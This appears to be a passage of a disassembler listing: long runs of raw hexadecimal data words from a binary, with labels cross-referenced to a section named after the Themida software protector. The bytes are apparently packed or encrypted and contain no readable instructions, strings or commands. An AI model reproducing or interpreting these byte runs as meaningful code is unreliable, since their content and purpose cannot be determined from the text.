		dd 505049B9h, 5B566052h, 46BA66h, 0E9310F61h, 6, 31BC2554h
		dd 585AD169h, 0FA8B5290h, 0B2B5FF59h, 6A063AA1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0F1BCC357h, 0D56564A3h, 8B66ED87h, 0B86660D9h, 0FF61A9E8h
		dd 3AA1B695h, 0EEBF6606h, 0C840F7Eh, 0E8000000h, 6, 2C7D02BDh
		dd 0B5AD560h, 65850FC0h, 89000000h, 372A91BDh, 0E9606106h
		dd 12h,	324C73D6h, 0EC8B5FA3h, 0B6814288h, 0F483733h, 0DE805164h
		dd 0C28061BDh, 0BA85C752h, 1063AA1h, 89000000h,	370A2195h
		dd 66E906h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 3265ABC3h, 0B08EDF22h, 0BAACABA4h
		dd 77495CC2h, 9D8B6061h, 6372D6Dh, 0EE8h, 77BD5400h, 0E6F9448Bh
		dd 44BD7BA8h, 661FB13Bh, 615BFE8Bh, 11CC681h, 8F0F0000h
		dd 5, 0A2CF8166h, 0FCBCE919h, 8D89FFFFh, 63725B1h, 904D5C68h
		dd 8B525068h, 0E9310FDFh, 5, 9DFBC2BCh,	81585A97h, 0CD5C2434h
		dd 0AE96890h, 0AC000000h, 8FA1A17Bh, 0C76A5E74h, 6A006AC1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 3A44C357h, 29086468h, 370559BDh, 0C2B5FF06h
		dd 0F063AA1h, 95FFCFBFh, 637131Dh, 8BCA8B66h, 3AA1BA85h
		dd 3D952906h, 0E8063709h, 11h, 6D617654h, 3E390603h, 9B90F069h
		dd 0E7EAE996h, 0B19D8B55h, 5B063719h, 1B8B0F50h, 0F000000h
		dd 158Dh, 0FE800h, 0D7180000h, 5E34A819h, 5F92BFAAh, 7C2291E0h
		dd 489599Ch, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0CA858DF6h, 0F063AA1h, 84h, 0DE800h
		dd 52F90000h, 37CAF5E2h, 33452159h, 60FF958Ch, 1CCD8533h
		dd 0B58B0637h, 6370AE9h, 8B505A61h, 240489D3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2BC35545h, 81668604h
		dd 8D2BEFCFh, 3AA18785h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0E1BA11CAh, 5090119Bh
		dd 1905951h, 372AF18Dh,	1995FF06h, 29063704h, 371F1185h
		dd 89C08B06h, 371A81BDh, 29BD8306h, 63719h, 0BD830975h
		dd 6371FE1h, 50137400h,	0B8C08B53h, 4D0h, 0AF479D8Dh, 0D3FF0639h
		dd 0BD83585Bh, 6371FE1h, 50117400h, 4D0B853h, 9D8D0000h
		dd 639AE46h, 585BD3FFh,	5BF08A51h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 56C35343h, 0B60C902Bh, 8D8BC08Bh
		dd 6372891h, 52006A58h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0FE88153h, 8C000000h, 0EF8239F2h
		dd 4F943AA8h, 8A871C08h, 0BD8BE00Ah, 6370859h, 8C25Bh
		dd 14E9h, 24A44B00h, 0B49F573Ch, 0AA1E2C6h, 0CEDF62F5h
		dd 41AE488h, 918D8B97h,	8B063708h, 0DD858DC0h, 2B063AA1h
		dd 3732B59Dh, 29858906h, 0E9063718h, 75h, 0D88C6660h, 840F04A8h
		dd 35h,	0B5FF016Ah, 6371B49h, 720A858Dh, 0D0FF063Ah, 16F18589h
		dd 0FE8B0637h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 63716F1h,	32E9h, 0B985C600h, 56063722h, 0C530DF68h
		dd 39B5FFA9h, 8D063723h, 3A720A85h, 89D0FF06h, 37060985h
		dd 0ED858D06h, 50063703h, 56A206Ah, 995FF56h, 61063706h
		dd 6E0C1C3h, 39EBh, 2CC00BFh, 2E400BFh,	0BFh, 0AE530000h
		dd 0A2D4A1BCh, 0AAA090A5h, 0AE93C4B4h
		dd 0E91FA9BFh, 0C755A8B5h, 8BD8909Fh
		db 9Dh,	0C4h
word_577DCA	dw 0B300h		; DATA XREF: Themida_:0053F9ACo
		dd 0A942B49Eh, 0A2E1AC85h, 0A7C9A0B0h, 0C7E4CC39h, 93F158D1h
		dd 0D2EEF02Eh, 0C7972D16h, 14C4C4D1h, 0B0BCCB14h, 0AB9C0478h
		dd 7429A13h, 0E57D715Ah, 95CCC2E6h, 447B7526h, 0F085ED6Ch
		dd 0CE3BC4D7h, 0D8C67952h, 0B393C2E6h, 4C9A94C8h, 0C35D7C11h
		dd 42FBC4D1h, 0C10EDF90h, 7690595Ch, 14B1C2E8h,	7AA49C8Ah
		dd 0C1A4DB30h, 97DEB0D1h, 0C35D7C82h, 42FBC4D1h, 0C10EDF90h
		dd 6A67595Ch, 14B1C2E8h, 35AC9C8Ah, 9DD02650h, 742B9D4h
		dd 2FB7C4BBh, 0C772C4D2h, 9CFA9FF1h, 0C3B89858h, 0C36A8050h
		dd 0C727C4CDh, 16509792h, 61F4C322h, 974D631Ch,	1B84FB7h
		dd 0F01B7D54h, 0B2F492D7h, 0A151D21Ah, 4614386Fh, 2B4EE0D5h
		dd 0D520B940h, 5FE4C4D1h, 0E09ACED3h, 6B45167Ch, 8556BAD1h
		dd 425483EAh, 0FE923B96h, 0AD95F3F2h, 0C42191D1h, 0E7E4C4D1h
		dd 4E2F078Ch, 463DE0BDh, 0DC98E095h, 824EC4D1h,	17150784h
		dd 834942E5h, 4244F63Fh, 0C1DEB6DBh, 2F27C4BBh,	0C739C4D2h
		dd 9A5F99F1h, 0C36AA858h, 0C3038050h, 0C793C4CCh, 0E10A9194h
		dd 0C590E75Eh, 4C55229Fh, 38C84EC5h, 4211C701h,	0AD48F3F3h
		dd 9427AED5h, 0C793C739h, 492E4D1h, 0E3B84D8Ah,	0E33645D5h
		dd 0C739D1D5h, 4CF87D1h, 66263D1Ah, 0C8871F74h,	0C793C75Fh
		dd 0F42A2D1h, 98C0C050h, 0AD2DE0BBh, 0C4D197D1h, 0E79CC4D1h
		dd 4E15078Ah, 4623E08Dh, 0D097E095h, 84C9C4D1h,	0BB5D0782h
		dd 527B32ACh, 0C10EDD0Ch, 3B477AB1h, 7841C3CEh,	5D4FA510h
		dd 91FBBCA3h, 0C7C9CD39h, 6EC445D1h, 139B9C3Ah,	4C83717Eh
		dd 9DAAD3D6h, 0E37A458Eh, 0AF5FB4A7h, 0C793CB38h, 6AADEFD1h
		dd 828C95F0h, 52D6DE55h, 5679E956h, 0C7F6C4BBh,	0C74D2C80h
		dd 9E07C4D1h, 8B1A9D12h, 8348C0F5h, 0C7F9C0F5h,	9633C4D1h
		dd 72328912h, 0D18E7940h, 4E28A39Dh, 0F023614Ch, 0E57445D7h
		dd 4686130Fh, 5C8A4626h, 4EA23BCEh, 0F03E3D5Ch,	88194DD7h
		dd 2E48FE60h, 0C727C4D6h, 7418A028h, 4E737F99h,	0F0CC915Ch
		dd 0C28A4FD7h, 0C739C61Dh, 76CF4158h, 7CDC2EBh,	90A24DC9h
		dd 0F495FE60h, 0C5257D11h, 6D17C4D1h, 0C1FACB86h, 0EE39C4D1h
		dd 0F087D54Ch, 0C7249DD7h, 0C7242C87h, 99B3C4D1h, 0B3409A12h
		dd 8365C0F5h, 0C76BC0F5h, 917FC4D1h, 3C57E112h,	76E0B9B5h
		dd 7EA2020Dh, 8495F3F3h, 2F9FC4BBh, 0C7E4C4D2h,	99B19AF1h
		dd 0C31DB058h, 0C3B88050h, 0C74EC4C5h, 4CE49297h, 0C22A515Ah
		dd 0C6A1C2E6h, 2F79793Bh, 0C772C4C3h, 8ACCB3D6h, 637C2812h
		dd 34C780CAh, 0CC92E16Eh, 4CF546ECh, 0F3489A2Bh, 1D659BF5h
		dd 9472AED0h, 0C739C739h, 4C7E4D1h, 0E3124D8Ah,	0E36345D5h
		dd 0C793D9D5h, 49A87D1h, 1295BCF6h, 6282403Ah, 52B2A6E3h
		dd 0C1ABD72Ch, 0ED43495Ah, 72D8C2E6h, 0C1A4E7E8h, 0CC54795Ah
		dd 4269C2E6h, 0C148B6DBh, 2F68C4BBh, 0C79CC4D2h, 9E8D9DF1h
		dd 0C3038858h, 0C3B78050h, 0C7C9C4CAh, 0EE279590h, 6BED3BF4h
		dd 0A1B93384h, 3893636Bh, 4EC77201h, 0F03AA954h, 9093AED7h
		dd 0C7C9C739h, 4BBE4D1h, 0E30E4D8Eh, 0E37D45D5h, 0C79CD9D5h
		dd 41983D1h, 5EDEA59Bh,	70AC17F5h, 0A7A925D4h, 9093096Eh
		dd 8EF74DE5h, 0A63FF3F8h, 0C4F27169h, 4247A5F2h, 0C110EE4Ch
		dd 0E74A415Ch, 0C7A3C2E6h, 0C7E72C82h, 9C52C4D1h, 9BB09F12h
		dd 831DC0F5h, 0C758C0F5h, 9464C4D1h, 0D6FCDC12h, 0C149CBB1h
		dd 4CE4C4D1h, 0F059F15Ch, 3786CBD7h, 2A09EFB0h,	4E48F3D5h
		dd 0F02D2954h, 9793AED7h, 0C7C9C739h, 4BCE4D1h,	0E3364D89h
		dd 0E37D45D5h, 0C79CDDD5h, 41E84D1h, 0E002A5EFh, 42557651h
		dd 0C1FEE668h, 6E514F82h, 2F74F3DCh, 0C739C4D5h, 3B2D8C09h
		dd 0C74EC338h, 36592DD1h, 1B9287Ch, 3DFC7D81h, 836F8189h
		dd 0D79BC0F5h, 0A439C4D1h, 0EF984188h, 0CC2BDE76h, 87A5B4DCh
		dd 4C75550Dh, 0A19BA4D1h, 9E253B6Bh, 0C772CA38h, 7D47B4D1h
		dd 0C8EACEA9h, 0D1279813h, 0A6DA9098h, 0C3B78058h, 0C7CC4BDEh
		dd 0F85DC4D1h, 9F1AF4C3h, 7FEB45B1h, 0A1E458D8h, 0A6950469h
		dd 0E41E712Eh, 0C7F9C2E6h, 0C7CA2C81h, 9FC4C4D1h, 83FB9C12h
		dd 83B8C0F5h, 0C787C0F5h, 970EC4D1h, 61ADBF12h,	4BB7304Dh
		dd 52403DE5h, 0C1D3EAE4h, 0B578415Ch, 0C753C2EBh, 0C79F2C81h
		dd 9F6EC4D1h, 83AE9C12h, 8312C0F5h, 0C7D1C0F5h,	97A4C4D1h
		dd 8E44A012h, 17C64DE5h, 0C79CCC38h, 0D95AE9D1h, 0A1152542h
		dd 0DE164DFCh, 0ADCFF3E3h, 0C40C97D1h, 0E772C4D1h, 4E62078Ah
		dd 4698E08Dh, 0D04AE095h, 8427C4D1h, 3FCF0782h,	7240AD6Fh
		dd 0C1D3DB8Ch, 0DBCF51F8h, 42FFC2E6h, 0C1ABE668h, 0FAF3E782h
		dd 0AF21F3D8h, 75D67814h, 0C7C9CA39h
		db 0D1h
byte_5782D9	db 6Ch,	30h, 5Bh	; DATA XREF: Themida_:0053FC4Co
		dd 0BAB8DF13h, 898033F5h, 0A70607C2h, 0C74ED738h, 2B73B6D1h
		dd 7B647572h, 0AE4A9BBAh, 9CB3AC12h, 0EFB59FC7h, 0C7394DDEh
		dd 98FDC4D1h, 0B16AF050h, 0AD4D99A9h, 0C47B94D1h, 0E7C9C4D1h
		dd 4EBC0789h, 4676E095h, 0D03DE095h, 879CC4D1h,	24E0781h
		dd 4AAC244Fh, 0C1A4C190h, 0E8347958h, 721BC2E6h, 0C145E7E8h
		dd 2F6CC4BBh, 0C79CC4D2h, 9A8D99F1h, 0C303A858h, 0C3B78050h
		dd 0C7C9C4C9h, 0DA279194h, 0F07EFC0h, 4AC073DEh, 0FDEECE54h
		dd 964EAED7h, 0C727C739h, 4CAE4D1h, 0E3854D88h,	0E3A045D5h
		dd 0C772DFD5h, 46885D1h, 8DD448C9h, 0BC6C720Fh,	42AE142Eh
		dd 0C1A4F78Ch, 0F5EC51FAh, 4222C2E6h, 0C145E668h, 0C72D2D96h
		dd 1BC4D1h, 70976785h, 0A3FF933Eh, 876EC0A9h, 8C96A790h
		dd 598C62D5h, 0C8E0C4DCh, 0C739E45Eh, 0C79B2CD1h, 6C21C4D1h
		dd 968C5398h, 0C79D2D63h, 0E6E9C4D1h, 0F87D265Fh, 0E9F1EAECh
		dd 48652CF8h, 0E3A8458Eh, 0E29014E6h, 2F70C4BBh, 0C793C4D2h
		dd 980A9BF1h, 0C3C0B858h, 0C3568050h, 0C739C4CBh, 0D95F9396h
		dd 85F4ECD0h, 72D84A1Ah, 0C1A4E7E8h, 0E538795Ah, 4269C2E6h
		dd 0C148B6DBh, 2F68C4BBh, 0C79CC4D2h, 9E8D9DF1h, 0C3038858h
		dd 0C3B78050h, 0C7C9C4C9h, 0F5279590h, 0E4FE8562h, 0EEC04958h
		dd 1763C2E6h, 2F1FC4BBh, 0C727C4D2h, 9E509DF1h,	0C3ED8858h
		dd 0C3C08050h, 0C772C4C9h, 6FFA9590h, 3342DCCAh, 0C6874158h
		dd 0C74DC2E6h, 0C7902C81h, 9FE9C4D1h, 836D9C12h, 83F3C0F5h
		dd 0C724C0F5h, 97DCC4D1h, 3A81D512h, 0ED564338h, 0A1E13238h
		dd 11A0868h, 0F0C67D54h, 0D69B83D7h, 0C839C4D1h, 1AD01049h
		dd 8E9555FAh, 0A7548E36h, 19DD0E43h, 0C76CD0B9h, 0E3E045A0h
		dd 0D7A9AFB7h, 2F6AC4BBh, 0C79CC4D2h, 9C8D9FF1h, 0C3039858h
		dd 0C3B78050h, 0C7C9C4C5h, 0CD279792h, 0E44B712Eh, 0CAD0C2E6h
		dd 0F29CC4D1h, 757F939Fh, 0D87D7415h, 0B2AA111h, 0B5C3415Ch
		dd 0C78EC2EBh, 0C7712C83h, 9D19C4D1h, 93159E12h, 83CFC0F5h
		dd 0C732C0F5h, 95D1C4D1h, 3805BB12h, 4E0E4E01h,	0F07B354Ch
		dd 0BEBC4DD7h, 0AD9AF3D6h, 0C4A694D1h, 0E727C4D1h, 4ECB0789h
		dd 46CDE095h, 0D3E0E095h, 8772C4D1h, 463F0781h,	93201E17h
		dd 0CBC4CBC0h, 0C827C4D1h, 0C793C256h, 0AA744FD1h, 0C8E2F3C3h
		dd 0C772D357h, 0C7322CD1h, 0EEA0C4D1h, 37AA2ACFh, 171D9894h
		dd 0F2264F9Dh, 99CFF3CDh, 0E55D4117h, 0C435C2E6h, 0F021E56Ch
		dd 519BACD7h, 7D28E8CCh, 0C3A649D2h, 683592F5h,	0A77A7AAFh
		dd 721B9AD8h, 0C145E7E8h, 105D86Eh, 0CD1949DFh,	4748FEA3h
		dd 0CCCEDD0Fh, 0DC93C4D1h, 49C1C52Fh, 7E7E6E1Ah, 178D8A9Ah
		dd 0C739D439h, 774930D1h, 0A1D80A14h, 0B8459118h, 0B7935AB4h
		dd 1A5C4FEEh, 9EE2F3C0h, 0CCBB4158h, 5A10C2E6h,	0C1ABE190h
		dd 0C724142Eh, 0C7242C80h, 9EB3C4D1h, 8B409D12h, 8365C0F5h
		dd 0C768C0F5h, 9678C4D1h, 0B457F912h, 7A092042h, 52924FB1h
		dd 0A795F3CCh, 0EC7C515Ah, 52D7C2E6h, 0C145DC24h, 42B0A5B0h
		dd 0C1ABC95Ch, 0EE4F79D8h, 7A26C2E6h, 0C1A4E6ECh, 4C1148B7h
		dd 0ADE0E029h, 0C49A95D1h, 0E739C4D1h, 4EC50788h, 464AE09Dh
		dd 0DD23E095h, 8693C4D1h, 0B4980780h, 3A48E360h, 0D4F8CBA9h
		dd 0A739C4D1h, 0C79CC238h, 473968D1h, 0C8A838B3h, 0C793C453h
		dd 7C3A5D1h, 0C4B340DEh, 0CC12C4D1h, 0F0266944h, 0C23CBD7h
		dd 7ECB02B0h, 8821F3F3h, 0FECC1E50h, 4AE08E3Eh,	0C1D3F534h
		dd 5EDE9BB9h, 0CAD096ACh, 2B9CC4D1h, 66D33196h,	33BCBA62h
		dd 9787AB84h, 0E3CD458Fh, 860204B4h, 0DE4F495Ah, 72C6C2E6h
		dd 0C1ABE7E8h, 2F1EC4BBh, 0C727C4D2h, 9F509CF1h, 0C3ED8058h
		dd 0C3C08050h, 0C772C4CBh, 17FA9491h, 0AA4873D9h, 4AB70D29h
		dd 0FD55CE54h, 9793AED7h, 0C7C9C739h, 4BCE4D1h,	0E3364D89h
		dd 0E37D45D5h, 0C79CD2D5h, 41E84D1h, 3898A6C4h,	4218A401h
		dd 0C1FEED30h, 0CE397158h, 4C13C2E6h, 0E3F9471Eh, 2FCCC4BBh
		dd 0C74EC4D2h, 9FE49CF1h, 0C3B78058h, 0C3ED8050h, 0C7E4C4C6h
		dd 0D8B19491h, 0C88F91F4h, 0C79CC25Bh, 0B6C34DD1h, 4E21F3F2h
		dd 0F0B8E154h, 91C9AED7h, 0C7E4C739h, 42CE4D1h,	0E34D4D8Fh
		dd 0E3D845D5h, 0C74ED9D5h, 47182D1h, 8C20184Bh,	68146CD9h
		dd 426FDDF5h, 0C145C95Ch, 0E8422250h, 91CB5DBh,	0ED34FFFh
		dd 2E21F3DAh, 0C793C4D4h, 49E499A0h, 0C78E8787h, 0C7712C86h
		dd 9819C4D1h, 0BB159B12h, 83CFC0F5h, 0C731C0F5h, 90D4C4D1h
		dd 42066D12h, 0F62559D0h, 0DCF9C2E6h, 0AD224F29h, 0C47493D1h
		dd 0E74EC4D1h, 4E78078Eh, 4697E0ADh, 0D1CDE095h, 80E4C4D1h
		dd 545E0786h, 74FC44BEh, 0C7F6DF5Ah, 0C74D2C86h, 9807C4D1h
		dd 0BB1A9B12h, 8348C0F5h, 0C7F9C0F5h, 9035C4D1h, 5BB5A812h
		dd 84E908CBh, 3E23CB76h, 4EDE1CE2h, 0F080C54Ch,	0E5C4FD7h
		dd 1E2F3DEh, 0F0507D54h, 52B283D7h, 0C1ABC55Ch,	0C74840DEh
		dd 4AACC4D1h, 0C1A4EA34h, 0C7C9C039h, 19396DD1h, 0C7662C66h
		dd 4C6DC4D1h, 0FD82D992h, 2677777Bh, 0DAEE7A09h, 0D89D568Dh
		dd 9797BF85h, 836F0F5Ah, 9522C0F5h, 0F6369E83h,	94D2116Fh
		dd 4C169EEBh, 7E4193D1h, 4EC9BF81h, 4DCDE095h, 0C78E9C00h
		dd 0C7712C86h, 9819C4D1h, 0BB159B12h, 83CFC0F5h, 0C73EC0F5h
		dd 90D4C4D1h, 0E8700212h, 4CB616C2h, 0F05D8564h, 0FE8C3BD7h
		dd 4A9AF3F2h, 0FD3CCE54h, 9627AED7h, 0C793C739h, 490E4D1h
		dd 0E3A84D88h, 0E33645D5h, 0C739DDD5h, 4CD85D1h, 14D072F3h
		dd 17D8AA48h, 2FC3C4BBh, 0C7C9C4D2h, 9F279CF1h,	0C3568058h
		dd 0C31D8050h, 0C79CC4C9h, 0E98D9491h, 0E49209CDh, 2512A224h
		dd 8436F3Ah, 0C62D4158h, 59CCC2E6h, 0A1293EC0h,	8704B26Eh
		dd 2F1BC4BBh, 0C727C4D2h, 9A5099F1h, 0C3EDA858h, 0C3C08050h
		dd 0C772C4CCh, 1FA9194h, 0C3F58ED4h, 0A86F67CDh, 0C72E2CF1h
		dd 0C9BC4D1h, 8558448Dh, 2E6EC5A1h, 0C772C4C5h,	94E21791h
		dd 0B50C15A6h, 6EC99597h, 2FFEAA1h, 743BAB7h, 1A744F8Bh
		dd 4CE2F3F3h, 9772AED1h, 0C739C739h, 4C4E4D1h, 0E30A4D89h
		dd 0E36345D5h, 0C793D2D5h, 49984D1h, 2F40862Ch,	0C772C4D9h
		dd 0D915D740h, 334D37EAh, 2E659F6Bh, 45289BC8h,	0C793C4D7h
		dd 0F530495Ah, 0C76FC2E6h, 0D8DB715Ah, 42B0C2E6h, 0C1ABDADCh
		dd 2F1DC4BBh, 0C727C4D2h, 9C509FF1h, 0C3ED9858h, 0C3C08050h
		dd 0C772C4C5h, 27FA9792h, 0DC9D715Ah, 28A7C2E6h, 4627C4D1h
		dd 87505E37h, 0B24C49C6h, 97E2FE60h, 0C772D638h, 9A474D1h
		dd 0C1D3160Fh, 0D71B431Ch, 245FDD96h, 4E28F9EBh, 5236E0D5h
		dd 0C1D3CFCCh, 2F20C4BBh, 0C739C4D2h, 9D5F9EF1h, 0C36A9058h
		dd 0C3038050h, 0C793C4C9h, 0C20A9693h, 0B9D8B943h, 0F57F495Ah
		dd 5AB0C2E6h, 0C1ABC350h, 7635595Ch, 7AACC2EBh,	0C1A4EBE8h
		dd 0E3D54D81h, 2FB7C4BBh, 0C772C4D2h, 9CFA9FF1h, 0C3B89858h
		dd 0C36A8050h, 0C727C4C6h, 87509792h, 97568948h, 0C7F14CDEh
		dd 4B7DC4D1h, 0C739C4DEh, 0C79CCD39h, 0A5DAEBD1h, 0D9391DD9h
		dd 4ECD89A4h, 0C7A3E0D5h, 0C7E72C80h, 9E52C4D1h, 8BB09D12h
		dd 831DC0F5h, 0C758C0F5h, 9666C4D1h, 244D0512h,	4D7B7BB7h
		dd 0E551715Ah, 528DC2E6h, 0C10EED24h, 0C79A48DEh, 4AC7C4D1h
		dd 0C110D5BCh, 0ECB64158h, 4FC6C2E6h, 0C7E4C4D3h, 42B4155Ah
		dd 0C10EE668h, 0AF704E82h, 8449BD52h, 0C727C938h, 238A2FD1h
		dd 0C7BF91B4h, 22D45309h
		dd 0C3F30E4Bh, 473338F5h, 979CAEB6h, 0C74EC739h, 47FE4D1h
		dd 0E3D74D89h, 0E38D45D5h, 0C7E4D2D5h, 42284D1h, 38B4282Fh
		dd 0F0BFFD64h, 38F1CBD7h, 0B52D415Ch, 0C7F9C2EBh, 0C7CA2C81h
		dd 9FC4C4D1h, 83FB9C12h, 83B8C0F5h, 0C781C0F5h,	970EC4D1h
		dd 0D1878212h, 4BE46CD3h, 38440168h, 94E4AE01h,	0C772C739h
		dd 462E4D1h, 0E3C04D8Ah, 0E30A45D5h, 0C727D1D5h, 4C087D1h
		dd 4240C3F4h, 0C1D3CF68h, 0E5CB4117h, 0A17EC2E6h, 83F4355Ah
		dd 0A7FA7C7Dh, 0C7222CB1h, 0A914C4D1h, 9D645FCCh, 2F850B5Bh
		dd 0C772C4D9h, 5FF6C2E0h, 1F139145h, 0F3CFA588h, 0D9E10F5h
		dd 9293AEC4h, 0C7C9C739h, 4B9E4D1h, 0E31E4D8Ch,	0E37D45D5h
		dd 0C79CD2D5h, 41B81D1h, 4CEB289Eh, 0F0881144h,	0FE7C3BD7h
		dd 0ADE2F3F2h, 0C49A97D1h, 0E739C4D1h, 4EC7078Ah, 464AE08Dh
		dd 0D223E095h, 8493C4D1h, 0E3420782h, 0C7E4C939h, 0E22B07D1h
		dd 0A969513Eh, 70EB4D41h, 1EF4EA1Ch, 9D563A24h,	0B599415Ch
		dd 5A40C2EBh, 0C1D3E98Ch, 52FB142Eh, 0C10ECBC8h, 0DFA14158h
		dd 0C724C2E6h, 0C7242C81h, 9FB3C4D1h, 83409C12h, 8365C0F5h
		dd 0C76FC0F5h, 9779C4D1h, 65DF1E12h, 0F9B57144h, 0CC7097EAh
		dd 0F0B1115Ch, 7E4C02D7h, 94E2F3F3h, 2F24C4BBh,	0C739C4D2h
		dd 995F9AF1h, 0C36AB058h, 0C3038050h, 0C793C4C9h, 0E20A9297h
		dd 7CF7A241h, 8B62B2B9h, 0D2BFCBA1h, 2E9CC4D1h,	0C74EC4C1h
		dd 6FE32EA5h, 38116D68h, 3D2C94C3h, 99301624h, 0DD56C050h
		dd 0AD11299Eh, 0C47495D1h, 0E74EC4D1h, 4E7E0788h, 4697E09Dh
		dd 0DCCDE095h, 86E4C4D1h, 4A000780h, 6622AB73h,	7A154710h
		dd 0C179E158h, 0E41E712Eh, 0C7F9C2E6h, 0C7CA2C81h, 9FC4C4D1h
		dd 83FB9C12h, 83B8C0F5h, 0C784C0F5h, 970EC4D1h,	2A733D12h
		dd 72BAA9F8h, 0C1FEC47Ch, 0B5EE415Ch, 787DC2EBh, 0ADE93B2Bh
		dd 0C47495D1h, 0E74EC4D1h, 4E7E0788h, 4697E09Dh, 0D1CDE095h
		dd 86E4C4D1h, 0F750780h, 4EE94F5Fh, 0F08E5554h,	7ECB02D7h
		dd 9021F3F3h, 2FC1C4BBh, 0C7C9C4D2h, 9D279EF1h,	0C3569058h
		dd 0C31D8050h, 0C79CC4C9h, 498D9693h, 41C1BB1Ch, 0E4CE495Ah
		dd 0C321C2E6h, 0C1E4C4D1h, 97E2C083h, 0C84D7683h, 97C49EE0h
		dd 0C74ECE39h
		db 0D1h
byte_578D4D	db 0C4h, 46h, 90h	; DATA XREF: Themida_:0053D32Co
		dd 803CB2BBh, 0A15DB64Fh, 4CBA375Ah, 9576E095h,	0C73C41DEh
		dd 5122C4D1h, 9D6EA46Ah, 83AEC45Ah, 489CC0F5h, 0C7C9C4D2h
		dd 9F2E4FB7h, 0E433515Ah, 72C6C2E6h, 0C1ABE7E8h, 2F1EC4BBh
		dd 0C727C4D2h, 9F509CF1h, 0C3ED8058h, 0C3C08050h, 0C772C4CBh
		dd 30FA9491h, 119CD04Eh, 4618D909h, 0F06CC206h,	421E9AB3h
		dd 0C1F3B6DBh, 0C1397158h, 178DC2E6h, 2F69C4BBh, 0C79CC4D2h
		dd 9F8D9CF1h, 0C3038058h, 0C3B78050h, 0C7C9C4C8h, 7D279491h
		dd 6FAB0EFEh, 0CEBC4D25h, 4E9AF3DBh, 0F04E2954h, 9027AED7h
		dd 0C793C739h, 496E4D1h, 0E3984D8Eh, 0E33645D5h, 0C739DDD5h
		dd 4CB83D1h, 1B7649D1h,	42E152B8h, 0C1A4E668h, 0C746CB92h
		dd 0AFE4C4D1h, 37A70E1Dh, 0C739C239h, 5DE13CD1h, 0A70CC323h
		dd 9846A5B1h, 23B7F050h, 0AD85816Bh, 0C40C96D1h, 0E772C4D1h
		dd 4E63078Bh, 4698E085h, 0DD4AE095h, 8527C4D1h,	3FDD0783h
		dd 0B8DB78E1h, 3753CB84h, 0E44B712Eh, 0C753C2E6h, 0C79F2C83h
		dd 9D6EC4D1h, 93AE9E12h, 8312C0F5h, 0C7D2C0F5h,	95A6C4D1h
		dd 13B1F112h, 0D2EC2758h, 4A664FACh, 0FD3CCE54h, 9527AED7h
		dd 0C793C739h, 493E4D1h, 0E3B04D8Bh, 0E33645D5h, 0C739DDD5h
		dd 4CE86D1h, 0B517D2A8h, 0C9CE0144h, 8F93C4D1h,	7AACB850h
		dd 7A4CAC4Fh, 51857FB2h, 0ADE93B7Ch, 0C47491D1h, 0E74EC4D1h
		dd 4E7A078Ch, 4697E0BDh, 0DFCDE095h, 82E4C4D1h,	1D9C0784h
		dd 78802C4Dh, 8D1C3A3Bh, 8AB3BB6Eh, 0E2A24D91h,	4695F3F3h
		dd 1367D208h, 0AC6149F3h, 0AD74FE60h, 0C4D193D1h, 0E79CC4D1h
		dd 4E11078Eh, 4623E0ADh, 0D197E095h, 80C9C4D1h,	53BC0786h
		dd 3FF9A244h, 7E5FA441h, 0C8CE97DFh, 0C74EC457h, 97469ED1h
		dd 78F594B1h, 9791E28Dh, 0C82E4F83h, 9D834FE0h,	0ADA9A589h
		dd 0C47494D1h, 0E74EC4D1h, 4E7F0789h, 4697E095h, 0D0CDE095h
		dd 87E4C4D1h, 9EDE0781h, 47598CE9h, 72AF6025h, 0C179E690h
		dd 0DAB23BB0h, 0AD95F3DAh, 0C42192D1h, 0E7E4C4D1h, 4E2C078Fh
		dd 463DE0A5h, 0DB98E095h, 814EC4D1h, 1EBF0787h,	2A72D0DFh
		dd 4C9F20A5h, 97E4AE09h, 0C772C739h, 461E4D1h, 0E3D84D89h
		dd 0E30A45D5h, 0C727DED5h, 4C384D1h, 0EF8C30DAh, 0A18E1BCFh
		dd 0E00D0550h, 7666415Ch, 0C7F6C2EBh, 0C74D2C86h, 9807C4D1h
		dd 0BB1A9B12h, 8348C0F5h, 0C7F1C0F5h, 9035C4D1h, 32934F12h
		dd 0F822A241h, 951E94BDh, 0C8F44FB7h, 862AA2E0h, 57919E1Bh
		dd 2FB7C4BBh, 0C772C4D2h, 9CFA9FF1h, 0C3B89858h, 0C36A8050h
		dd 0C727C4CAh, 84509792h, 7672D192h, 4CE9EA4Eh,	0F0636D64h
		dd 956994D7h, 0F693175Ah, 83D17DB7h, 0DBAE9C8Bh, 9493AEF5h
		dd 0C7C9C739h, 4BFE4D1h, 0E32E4D8Ah, 0E37D45D5h, 0C79CDFD5h
		dd 41D87D1h, 2599E728h,	61BAF0F8h, 0C7C9D639h, 571BD4D1h
		dd 0F0BFF261h, 0B8085E63h, 8BEB2CABh, 4E26D2C7h, 0F027D56Ch
		dd 386F9BD7h, 0F0E03144h, 726DA4D7h, 0C145E198h, 0C73B4CDEh
		dd 9CCEC4D1h, 4ECB4DB0h, 0AD21F3D4h, 0C47B97D1h, 0E7C9C4D1h
		dd 4EBF078Ah, 4676E08Dh, 0D23DE095h, 849CC4D1h,	56100782h
		dd 0C65649FAh, 4254C2E6h, 0C1FEC548h, 0C7E4C4DEh, 0B2C7ED28h
		dd 383FF3D7h, 0F0994D44h, 944EAED7h, 0C727C739h, 4C8E4D1h
		dd 0E3954D8Ah, 0E3A045D5h, 0C772D3D5h, 46A87D1h, 8FEDD160h
		dd 0EAEB4158h, 0CCCFC2E6h, 293C4D1h, 0CA504445h, 765E0557h
		dd 787D4C19h, 42B29B29h, 0C1ABD9BCh, 3B3595Ch, 84AEC2EBh
		dd 1E2E49D0h, 4ACFF3F1h, 0FD201364h, 0C7417DD7h, 63CAC4D1h
		dd 0C724F73Ah, 0CC4EC4D1h, 524B011h, 8318C4C9h,	2F9AC8F5h
